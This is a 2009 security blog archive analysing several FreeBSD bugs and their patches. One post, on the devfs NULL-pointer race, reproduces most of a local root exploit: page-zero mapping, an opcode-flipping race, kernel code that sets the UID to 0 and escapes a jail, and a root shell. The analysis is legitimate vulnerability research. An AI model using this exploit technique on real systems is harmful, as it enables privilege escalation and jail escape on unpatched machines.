xorl %eax, %eax

Archive for the ‘freebsd’ Category

FreeBSD FIFO Resource Leak

leave a comment »

I just read this email on freebsd-bugs mailing list. The bug was discovered and reported by Chitti Nimmagadda and Dorr H. Clark of Santa Clara University. Here is the vulnerable code as seen in usr/src/sys/fs/fifofs/fifo_vnops.c of FreeBSD 8.0-STABLE release.

/*
 * Open called to set up a new instance of a fifo or
 * to find an active instance of a fifo.
 */
/* ARGSUSED */
static int
fifo_open(ap)
        struct vop_open_args /* {
                struct vnode *a_vp;
                int  a_mode;
                struct ucred *a_cred;
                struct thread *a_td;
                struct file *a_fp;
        } */ *ap;
{
        struct vnode *vp = ap->a_vp;
        struct fifoinfo *fip;
        struct thread *td = ap->a_td;
        struct ucred *cred = ap->a_cred;
        struct file *fp = ap->a_fp;
        struct socket *rso, *wso;
        int error;
    ...
         if ((fip = vp->v_fifoinfo) == NULL) {
    ...
        }
    ...
         if (ap->a_mode & FWRITE) {
                 if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                         mtx_unlock(&fifo_mtx);
                         return (ENXIO);
                 }
                 fip->fi_writers++;
                 if (fip->fi_writers == 1) {
                         SOCKBUF_LOCK(&fip->fi_readsock->so_rcv);
                         fip->fi_readsock->so_rcv.sb_state &= ~SBS_CANTRCVMORE;
                         SOCKBUF_UNLOCK(&fip->fi_readsock->so_rcv);
                         if (fip->fi_readers > 0) {
                                 wakeup(&fip->fi_readers);
                                 sorwakeup(fip->fi_readsock);
                         }
                 }
         }
    ...
                 if ((ap->a_mode & FWRITE) && fip->fi_readers == 0) {
                         VOP_UNLOCK(vp, 0);
                         error = msleep(&fip->fi_writers, &fifo_mtx,
                             PDROP | PCATCH | PSOCK, "fifoow", 0);
                         vn_lock(vp, LK_EXCLUSIVE | LK_RETRY);
                         if (error) {
                                 fip->fi_writers--;
                                 if (fip->fi_writers == 0) {
                                         socantrcvmore(fip->fi_readsock);
                                         mtx_lock(&fifo_mtx);
                                         fip->fi_wgen++;
                                         mtx_unlock(&fifo_mtx);
                                         fifo_cleanup(vp);
                                 }
                                 return (error);
                         }
    ...
}

In this code, ‘vp’ pointer is used to store a ‘vnode’ structure (defined in sys/vnode.h). The bug is a missing clean up of that structure before returning. As you can read in last ‘if’ clause, in case of an error in msleep(), it will decrement the writers’ reference counter, and if there are no others left, it will lock the socket descriptor ‘fip->fi_readsock’ using socantrcvmore(), then start a MUTEX lock to increment ‘fip->fi_wgen’ counter and finally, call fifo_cleanup() on ‘vp’ pointer to dispose the FIFO resources like this:

/*
 * Dispose of fifo resources.
 */
static void
fifo_cleanup(struct vnode *vp)
{
        struct fifoinfo *fip = vp->v_fifoinfo;
 
        ASSERT_VOP_ELOCKED(vp, "fifo_cleanup");
        if (fip->fi_readers == 0 && fip->fi_writers == 0) {
                vp->v_fifoinfo = NULL;
                (void)soclose(fip->fi_readsock);
                (void)soclose(fip->fi_writesock);
                free(fip, M_VNODE);
        }
}

However, in fifo_open() the ‘if’ clause for ‘ap->a_mode & FWRITE’, in case of non-blocking mode on that FIFO and a readers’ reference counter equal to zero it will unlock the FIFO MUTEX and return ENXIO (aka. Device not configured) without releasing the resource. This results in a resource leak.
The suggested patch as we can read in the original advisory, is to add the missing clean-up function.

                if ((ap->a_mode & O_NONBLOCK) && fip->fi_readers == 0) {
                        mtx_unlock(&fifo_mtx);
+                       /* Exclusive VOP lock is held - safe to clean */
+                       fifo_cleanup(vp);
                        return (ENXIO);
                }

At last, the authors of the advisory provide a PoC code to demonstrate the vulnerability. Here is a quick review of that code…

#include <stdio.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>


#define FIFOPATH "/tmp/fifobug.debug"

void getsysctl(name, ptr, len)
    const char *name;
    void *ptr;
    size_t len;
{
    size_t nlen = len;
    if (sysctlbyname(name, ptr, &nlen, NULL, 0) != 0) {
                perror("sysctl");
                printf("name: %s\n", name);
                exit(-1);
    }
    if (nlen != len) {
        printf("sysctl(%s...) expected %lu, got %lu", name,
            (unsigned long)len, (unsigned long)nlen);
                exit(-2);
    }
}

This function is used as a wrapper around sysctlbyname(3) library routine. The following code is this…

main(int argc, char *argv[])
{
	int acnt = 0, bcnt = 0, maxcnt;
	int fd;
	unsigned int maxiter;
	int notdone = 1;
	int i= 0;

	getsysctl("kern.ipc.maxsockets", &maxcnt, sizeof(maxcnt));
	if (argc == 2) {
		maxiter = atoi(argv[1]);
	} else {
		maxiter = maxcnt*2;
	}

They retrive the maximum IPC socket number using the previous wrapper routine and set ‘maxiter’ to that value multiplied by two unless the user specified a value through the first argument of the program. The next code is this.

	unlink(FIFOPATH);
	printf("Max sockets: %d\n", maxcnt);
	printf("FIFO %s will be created, opened, deleted %d times\n", 
		FIFOPATH, maxiter);

	getsysctl("kern.ipc.numopensockets", &bcnt, sizeof(bcnt));

They unlink the “/tmp/fifobug.debug” file and after some printf(3)s, they store the number of the open IPC sockets to ‘bcnt’ variable. Next part is…

	while(notdone && (i++ < maxiter)) {
		if (mkfifo(FIFOPATH, 0) == 0) {
			chmod(FIFOPATH, 
				S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH);
		}
		fd = open(FIFOPATH, O_WRONLY|O_NONBLOCK);
		if ((fd <= 0) && (errno != ENXIO)) {
			notdone = 0;
		} 
		unlink(FIFOPATH);
	}

This loop will iterate as long as it has not reached more than ‘maxiter’ (maximum IPC socket number multiplied by two) times and flag ‘notdone’ is non-zero. Inside the ‘while’ loop, it creates a FIFO in the previously unlinked file and sets its mode accordingly. Then, it opens that FIFO as write only and non-blocking and then it just unlinks it. If the open(2) system call returns ‘ENXIO’, flag ‘notdone’ is zeroed out. This is a simple code to reach the fiflo_open() bug discussed above since the FIFO created is on write and non-blocking mode and it has no readers on it.
Finally, the code continues…

	getsysctl("kern.ipc.numopensockets", &acnt, sizeof(acnt));
	printf("Open Sockets: Before Test: %d, After Test: %d, diff: %d\n",
		 bcnt, acnt, acnt - bcnt);
	if (notdone) {
		printf("FIFO/socket bug is fixed\n");
		exit(0);
	} else {
		printf("FIFO/socket bug is NOT fixed\n");
		exit(-1);
	}
}

Just some printf(3)s of the number of open IPC sockets using the sysctl(3) interface and an informative message if the system had returned ‘ENXIO’ (meaning it’s buggy) and consequently zeroed out ‘notdone’ or not.

Written by xorl

November 6, 2009 at 03:57

Posted in bugs, freebsd

FreeBSD-EN-09:05: NULL Pointer Mapping

leave a comment »

This is a serious issue and to begin with, credits for this advisory go to John Baldwin, Konstantin Belousov, Alan Cox, and Bjoern Zeeb. The bug affects all of the FreeBSD releases prior to that patch. The concept is that user space processes have no limitation in mapping the location of NULL pointer and this results in perfectably exploitable conditions for NULL pointer dereference vulnerabilities. For example, if a kernel process attempts to access data in NULL or an offset of it because of a NULL pointer dereference, a user could map that address and inject malicious data that could lead to code execution in the context of the kernel.
To fix this, a patch was developed which adds a new sysctl(8) option like this…

static int map_at_zero = 1;
TUNABLE_INT("security.bsd.map_at_zero", &map_at_zero);
SYSCTL_INT(_security_bsd, OID_AUTO, map_at_zero, CTLFLAG_RW, &map_at_zero, 0,
    "Permit processes to map an object at virtual address 0.");

This is inserted in sys/kern/kern_exec.c and it initializes a new sysctl named “security.bsd.map_at_zero” that uses the static integer ‘map_at_zero’ which by default is set to 1. From the SYSCTL_INT() we can easily deduce that by default it is allowed to perform mappins in virtual address 0 since it is set to 1. To disable the NULL mappings users could use something like:

security.bsd.map_at_zero="0"

In their /boot/loader.conf or /etc/sysctl.conf. Function exec_new_vmspace() from kern/kern_exec.c which is responsible for destroying the old address space and allocating new stack was also changed to include a new variable:

 	struct vmspace *vmspace = p->p_vmspace;
-	vm_offset_t stack_addr;
+	vm_offset_t sv_minuser, stack_addr;
 	vm_map_t map;

and a virtual memory check was updated like this:

 	map = &vmspace->vm_map;
-	if (vmspace->vm_refcnt == 1 && vm_map_min(map) == sv->sv_minuser &&
+	if (map_at_zero)
+		sv_minuser = sv->sv_minuser;
+	else
+		sv_minuser = MAX(sv->sv_minuser, PAGE_SIZE);
+	if (vmspace->vm_refcnt == 1 && vm_map_min(map) == sv_minuser &&
 	    vm_map_max(map) == sv->sv_maxuser) {
 		shmexit(vmspace);
 		pmap_remove_pages(vmspace_pmap(vmspace));
 		vm_map_remove(map, vm_map_min(map), vm_map_max(map));
 	} else {
-		error = vmspace_exec(p, sv->sv_minuser, sv->sv_maxuser);
+		error = vmspace_exec(p, sv_minuser, sv->sv_maxuser);
 		if (error)

The initial check required that VM reference count is set to 1, the minimum VM mapping would be equal to ‘sv_minuser’ and the maximum VM mapping equal to ‘sv->sv_maxuser’. As we can read from sys/sysent.h, ‘sv_minuser’ and ‘sv_maxuser’ represent:

struct sysentvec {
        int             sv_size;        /* number of entries */
    ...
        vm_offset_t     sv_minuser;     /* VM_MIN_ADDRESS */
        vm_offset_t     sv_maxuser;     /* VM_MAXUSER_ADDRESS */
    ...
};

So, the above check was simply checking the boundaries of the VM. The new check is using the newly added ‘map_at_zero’ varible, and if it contains a non-zero value, it initializes ‘sv_minuser’ with the user requested ‘sv->sv_minuser’. Otherwise, it will use the maximum allowable for that page address. Meaning, in a request similar to NULL, the result would be:

MAX(0x0, 0x1000) = 0x1000

The old check was inserted after the NULL mapping check as you can see in the above diff file. In addition to this, the else clause of that check was changed to use the appropriate min/max VM address values since the old one was using the user controlled ones directly.
This is the first protection against NULL pointer mappings in FreeBSD and I think it didn’t get the attention it should…

Written by xorl

October 15, 2009 at 21:01

Posted in bugs, freebsd

FreeBSD-SA-09:14: Devfs/VFS NULL Pointer Race Condition

with 4 comments

This is a recently disclosed vulnerability, discovered by Polish researcher Przemyslaw Frasunek. The issue affects FreeBSD 6.x as well as 7.x releases and it is located in the sys/fs/devfs/devfs_vnops.c which is a code written by the famous Poul-Henning Kamp and includes the VNOP functions for devfs filesystem. Here is the vulnerable code from 7.2 release of FreeBSD:

static int
devfs_fp_check(struct file *fp, struct cdev **devp, struct cdevsw **dswp)
{

         *dswp = devvn_refthread(fp->f_vnode, devp);
         if (*devp != fp->f_data) {
                 if (*dswp != NULL)
                         dev_relthread(*devp);
                 return (ENXIO);
         }
         KASSERT((*devp)->si_refcount > 0,
             ("devfs: un-referenced struct cdev *(%s)", devtoname(*devp)));
         if (*dswp == NULL)
                 return (ENXIO);
         curthread->td_fpop = fp;
         return (0);
}

P. Frasunek noticed that in devfs_open() of the same file, ‘fp->f_vnode’ is not initialized and thus, remains with value of zero during the execution of the above code. This routine uses devvn_refthread() to initialize the ‘dswp’ pointer. Then, if ‘devp’ (which is the pointer to the requested device) isn’t NULL it will release the device thread using ‘dev_relthread()’ and return with ENXIO (aka. Device not configured), otherwise, it will assert() that ‘(*devp)->si_refcount’ (which contains the number of references to that structure) is greater than zero, and if ‘dswp’ is NULL, it will immediately return with ENXIO. In any other case, it will initialize ‘curthread->td_fpop’ with ‘fp’. curthread points to the FS:[0] (on IA-32) or GS:[0] (on x86_64) segment selector which has the currently executing thread’s structure (aka. struct thread), and ‘td_fpop’ as we can read from sys/proc.h contains the file referencing cdev under op.
Now, a closer look to dev_relthread() which is called in case of a non-NULL device pointer can be found at kern/kern_conf.c and does this:

void    
dev_relthread(struct cdev *dev)
{
 
         mtx_assert(&devmtx, MA_NOTOWNED);
         dev_lock();
         KASSERT(dev->si_threadcount > 0,
            ("%s threadcount is wrong", dev->si_name));
         dev->si_threadcount--;
         dev_unlock();
}

Basically, it simply decrements the thread’s counter by one in a lock. The second routine that is being called in devfs_fp_check() is the devvn_refthread() which is used to initialize ‘dswp’ pointer. This is probably the most interesting one…

struct cdevsw *
devvn_refthread(struct vnode *vp, struct cdev **devp)
{
         struct cdevsw *csw;
         struct cdev_priv *cdp;
 
         mtx_assert(&devmtx, MA_NOTOWNED);
         csw = NULL;
         dev_lock();
         *devp = vp->v_rdev;
         if (*devp != NULL) {
                 cdp = (*devp)->si_priv;
                 if ((cdp->cdp_flags & CDP_SCHED_DTR) == 0) {
                         csw = (*devp)->si_devsw;
                         if (csw != NULL)
                                 (*devp)->si_threadcount++;
                 }
         }
         dev_unlock();
         return (csw);
}

It takes a vnode and a cdev structures as arguments, and after a simple assertion, it locks the device and sets the device pointer to ‘vp->v_rdev’. Since, ‘fp->f_vnode’ was not properly initialized in devfs_open() and it is directly used as the first argument of devvn_refthread(), this will result in a NULL pointer dereference and ‘devp’ will be pointing to NULL->v_rdev which as P. Frasunek discovered. Next, if ‘devp’ isn’t NULL (which is our case), it will initialize ‘cdp’ with ‘(*devp)->si_priv’, and check the CDP_SCHED_DTR and if set, initialize ‘csw’ to ‘(*devp)->si_devsw’. At last, if this is not NULL, it will increment ‘(*devp)->si_threadcount++’.
This final operation allows the modification of an arbitrary user controlled location but unfortunately, it is restored in its original value through the decrement that dev_relthread() does when called in devfs_fp_check(). Nevertheless, P. Frasunek managed to code a really awesome exploit code for that vulnerability. Before moving on with the analysis of his exploit code, here is how it was patched by the FreeBSD guys:

 		FILE_LOCK(fp);
 		fp->f_data = dev;
+		fp->f_vnode = vp;
 		FILE_UNLOCK(fp);

A simple initialization of ‘fp->f_vode’ in devfs_open() was enough.
Now, to the exploit code…

int main(void) {
	int i;
	pthread_t pth, pth2;
	struct cdev devp;
	char *p;
	unsigned long *ap;

	/* 0x1c used for vp->v_rdev dereference, when vp=0 */
	/* 0xa5610e8 used for vp->r_dev->si_priv dereference */
	/* 0x37e3e1c is junk dsw->d_kqfilter() in devfs_vnops.c:650 */

	unsigned long pages[] = { 0x0, 0xa561000, 0x37e3000 };
	unsigned long sizes[] = { 0xf000, 0x1000, 0x1000 }; 

His comments are really useful here. Those two arrays contain the pointers and their equivalent sizes which are described in detail in the comments. The following code is:

	for (i = 0; i < sizeof(pages) / sizeof(unsigned long); i++) {
		printf("[*] allocating %p @ %p\n", sizes[i], pages[i]);
		if (mmap((void *)pages[i], sizes[i], PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
			perror("mmap");
			return -1;
		}
	}

This loop is used to allocate the appropriate addresses described earlier in the ‘pages[]’ and their equivalent ‘sizes[]’ arrays using mmap(2) system call. The next part of main() is…

#define JE_ADDRESS 0xc076c62b

/* location of "je" (0x74) opcode in devfs_fp_check() - it will be incremented
 * becoming "jne" (0x75), so error won't be returned in devfs_vnops.c:648
 * and junk function pointer will be called in devfs_vnops.c:650
 * 
 * you can obtain it using:
 * $ objdump -d /boot/kernel/kernel | grep -A 50 \<devfs_fp_check\>: | grep je | head -n 1 | cut -d: -f1
 */

    ...

	*(unsigned long *)0x1c = (unsigned long)(JE_ADDRESS - ((char *)&devp.si_threadcount - (char *)&devp));

	p = (char *)pages[2];
	ap = (unsigned long *)p;

	for (i = 0; i < sizes[2] / 4; i++)
		*ap++ = (unsigned long)&kernel_code;

So, he’s using a JE instruction in devfs_fp_check() as its target for the increment/decrement race condition and ‘ap’ is initialized to point to ‘pages[2]‘ which has the address of ‘dsw->d_kqfilter()’ routine. This is filled with the contents of kernel_code() which is this:

static void kernel_code(void) {
	struct thread *thread;
	gotroot = 1;
	asm(
		"movl %%fs:0, %0"
		: "=r"(thread)
	);
	thread->td_proc->p_ucred->cr_uid = 0;
	thread->td_proc->p_ucred->cr_prison = NULL;

	return;
}

It retrieves the current thread structure on IA-32 systems (on X86_64 he should be using %%gs:0), and sets the current thread’s UID to that of root (aka. 0) and the pointer to a possible jail that is being running for the current thread to NULL to escape from a jail environment.
Back to main() we have…

	if ((kq = kqueue()) < 0) {
		perror("kqueue");
		return -1;
	}

	pthread_create(&pth, NULL, (void *)do_thread, NULL);
	pthread_create(&pth2, NULL, (void *)do_thread2, NULL);

	timeout.tv_sec = 0;
	timeout.tv_nsec = 1;

	printf("waiting for root...\n");
	i = 0;

	while (!gotroot && i++ < 10000)
		usleep(100);

He initializes ‘kq’ using kqueue() system call and he creates two threads that will execute do_thread() and do_thread2() respectively, then, he initializes a timespec structure and at last, doing a simple sleeping loop to wait for the threads to gain execution in the kernel context. Here is the code of do_thread():

void do_thread(void) {
	usleep(100);

	while (!gotroot) {
		memset(&kev, 0, sizeof(kev));
		EV_SET(&kev, fd, EVFILT_READ, EV_ADD, 0, 0, NULL);

		if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
			perror("kevent");

	}

	return;
}

As long as it has not gained root access, it will initialize a kevent structure using EV_SET() macro setting the changelist to fd with an EVFILT_READ event (which means that it will return when there are data available to read from fd) and EV_ADD to add the event to the kqueue. Finally, it will invoke kevent() on the previously set event.
Now, do_thread2() goes like this:

void do_thread2(void) {
	while(!gotroot) {
		/* any devfs node will work */
		if ((fd = open("/dev/null", O_RDONLY, 0600)) < 0)
			perror("open");

		close(fd);
	}

	return;
}

While it has not gain root access, it will open a device in ‘fd’ file descriptor and then close it. At last, the final gone of main() routine is:

	setuid(0);

	if (getuid()) {
		printf("failed - system patched or not MP\n");
		return -1;
	}

	execl("/bin/sh", "sh", NULL);

	return 0;
}

So, if it is able to set its UID to 0 it will spawn a shell which would be a root-shell. :)
The goal of this exploit code is to follow these steps:
1) place the JE instruction of devfs_fp_check() to the location that the increment will take place
2) Open a device to trigger the increment. This will make the JE (which is 0×74) to JNE (which is 0×75) and this results in the invocation of dsw->d_kqfilter() as we can see here:

static int
devfs_kqfilter_f(struct file *fp, struct knote *kn)
{
         struct cdev *dev;
         struct cdevsw *dsw;
         int error;
         struct file *fpop;
         struct thread *td;
 
         td = curthread;
         fpop = td->td_fpop;
         error = devfs_fp_check(fp, &dev, &dsw);
         if (error)
                return (error);
         error = dsw->d_kqfilter(dev, kn);
         td->td_fpop = fpop;
         dev_relthread(dev);
         return (error);
}

Where obviously, the JE is the if (error) check.

3) The kernel will jump to dsw->d_kqfilter() but this is where kernel_code() resides and leads to privilege escalation and possible jail escape.

By doing so, P. Frasunek avoids the dev_relthread() (the decrement) in devfs_kqfilter_f() as you can clearly see. The two threads are used to reach that race window of the increment/decrement using kevent() on the ‘fd’ and opening/closing the ‘fd’.

Written by xorl

October 13, 2009 at 23:17

Posted in bugs, freebsd

FreeBSD PPP(8)/NAT 65535 Port Integer Overflow

leave a comment »

This bug was reported by Aragon Gouveia on 19 July 2009 and it affects (at least) 8.0-BETA1 release of FreeBSD. This should not be considered as a critical vulnerability (in my opinion) since it only affects systems using ppp(8) and using NAT to forward port 65535. The buggy code can be found at src/usr.sbin/ppp/nat_cmd.c like this:

int
nat_RedirectPort(struct cmdargs const *arg)
{
  if (!arg->bundle->NatEnabled) {
    prompt_Printf(arg->prompt, "Alias not enabled\n");
    return 1;
  } else if (arg->argc == arg->argn + 3 || arg->argc == arg->argn + 4) {
    char proto_constant;
    const char *proto;
    struct in_addr localaddr;
    u_short hlocalport, llocalport;
    struct in_addr aliasaddr;
    u_short haliasport, laliasport;
    struct in_addr remoteaddr;
    u_short hremoteport, lremoteport;
    struct alias_link *link;
    int error;

    proto = arg->argv[arg->argn];
    if (strcmp(proto, "tcp") == 0) {
  ...
    while (laliasport <= haliasport) {
      link = PacketAliasRedirectPort(localaddr, htons(llocalport),
				     remoteaddr, htons(lremoteport),
                                     aliasaddr, htons(laliasport),
				     proto_constant);

      if (link == NULL) {
        prompt_Printf(arg->prompt, "nat port: %d: error %d\n", laliasport,
                      error);
        return 1;
      }
      llocalport++;
      laliasport++;
      if (hremoteport)
        lremoteport++;
    }

    return 0;
  }

  return -1;
}

As you can see, llocalport, haliasport, hremoteport and lremoteport are allo of them declared as unsigned short integers, meaning 2 bytes long and consequenlty, they have a range of 0-65535. The while loop iterates as long as the local alias NAT port is less than, or equal to the host’s port. However, as you can see both are incremented regardless of their values. Because of this, if user attempts to use port 65535 this will result in an infinite loop since laliasport will wrap around and iterate forever. To fix this, they changed the above loop like this:

-    while (laliasport <= haliasport) {
+    do {
       link = LibAliasRedirectPort(la, localaddr, htons(llocalport),
 				     remoteaddr, htons(lremoteport),
                                      aliasaddr, htons(laliasport),
@@ -187,10 +187,9 @@ nat_RedirectPort(struct cmdargs const *a
         return 1;
       }
       llocalport++;
-      laliasport++;
       if (hremoteport)
         lremoteport++;
-    }
+    } while (laliasport++ < haliasport);
 
     return 0;

Written by xorl

August 9, 2009 at 14:18

Posted in bugs, freebsd

FreeBSD wpa_supplicant(8) Base64 Integer Overflow

leave a comment »

This bug was reported to the FreeBSD project by Jonathan Bokovza on 6 August 2009 and it affects 7.2-STABLE and probably other releases as well. wpa_supplicant is a WPA Supplicant component as you can read from its man page. Here is the buggy code as seen in src/contrib/wpa_supplicant/base64.c from FreeBSD’s CVS.

/**
 * base64_encode - Base64 encode
 * @src: Data to be encoded
 * @len: Length of the data to be encoded
 * @out_len: Pointer to output length variable, or %NULL if not used
 * Returns: Allocated buffer of out_len bytes of encoded data,
 * or %NULL on failure
 *
 * Caller is responsible for freeing the returned buffer. Returned buffer is
 * nul terminated to make it easier to use as a C string. The nul terminator is
 * not included in out_len.
 */
unsigned char * base64_encode(const unsigned char *src, size_t len,
			      size_t *out_len)
{
	unsigned char *out, *pos;
	const unsigned char *end, *in;
	size_t olen;
	int line_len;

	olen = len * 4 / 3 + 4; /* 3-byte blocks to 4-byte */
	olen += olen / 72; /* line feeds */
	olen++; /* nul termination */
	out = os_malloc(olen);
	if (out == NULL)
		return NULL;
    ...

	if (out_len)
		*out_len = pos - out;
	return out;
}

As you can see, during the first arithmetic operation, it multiplies ‘len’ with some constant values. If ‘len’ is large enough, it could result to an integer overflow and the subsequent call to os_malloc() would allocate incorrect number of bytes which will later result to heap memory corruption. The proposed patch is a simple check after the calculation.

	olen++; /* nul termination */
+       if (olen < len)
+		return NULL;
	out = os_malloc(olen);
	if (out == NULL)

Written by xorl

August 6, 2009 at 22:48

Posted in bugs, freebsd

FreeBSD ATA Device Large Allocation Panic

leave a comment »

This bug was discovered and disclosed by Shaun Colley on 22 June 2009. This issue affects FreeBSD 6.0 as well as 8.0 branch and probably more releases as well. Here is the vulnerable code as seen in dev/ata/ata-all.c of FreeBSD 6.0:

int
ata_device_ioctl(device_t dev, u_long cmd, caddr_t data)
{
    struct ata_device *atadev = device_get_softc(dev);
    struct ata_ioc_request *ioc_request = (struct ata_ioc_request *)data;
    struct ata_params *params = (struct ata_params *)data;
    int *mode = (int *)data;
    struct ata_request *request;
    caddr_t buf;
    int error;

    switch (cmd) {
    case IOCATAREQUEST:
        if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
            return
       ...
    default:
       return ENOTTY;
    }
}

The bug is really simple. If the IOCTL command is IOCATAREQUEST, it will immediately attempt to allocate ioc_request->count bytes which was derived from the user controlled data passed to that IOCTL call. Therefore, a user could request a huge amount of memory which will panic the kernel. Shaun Colley published atapanic.c as well that does that IOCTL call and requests 0xffffffff bytes to be allocated. Of course, in order to do this you need read access to an ATA device.

Written by xorl

July 15, 2009 at 21:31

Posted in bugs, freebsd

FreeBSD-EN-09:02: bce(4) driver Missing Packet Length Update

leave a comment »

This is not a security related issue. Nevertheless it is still interesting. It affects FreeBSD 7.2 release and credits for that bug go to Pete French and David Christensen. The bug was officially disclosed on 24 June 2009 from the FreeBSD project. The bug appears in bce(4) which is a device driver for Broadcom NetXtreme II PCI/PCIe Gigabit Ethernet adapters. If you add a network adapter with that device driver as a lagg(4) member, interface will stop working. In addition to this, in case of non-ZERO_COPY_SOCKETS there will be no update in the packet length and thus lead to incorrect values passed to userspace. This was fixed simply by adding the missing #else clause after the #ifdef ZERO_COPY_SOCKETS like this:

 		}
+#else
+        /* Set the total packet length. */
+		m0->m_pkthdr.len = m0->m_len = pkt_len;
 #endif

Written by xorl

July 9, 2009 at 22:03

Posted in bugs, freebsd

Follow

Get every new post delivered to your Inbox.

Join 64 other followers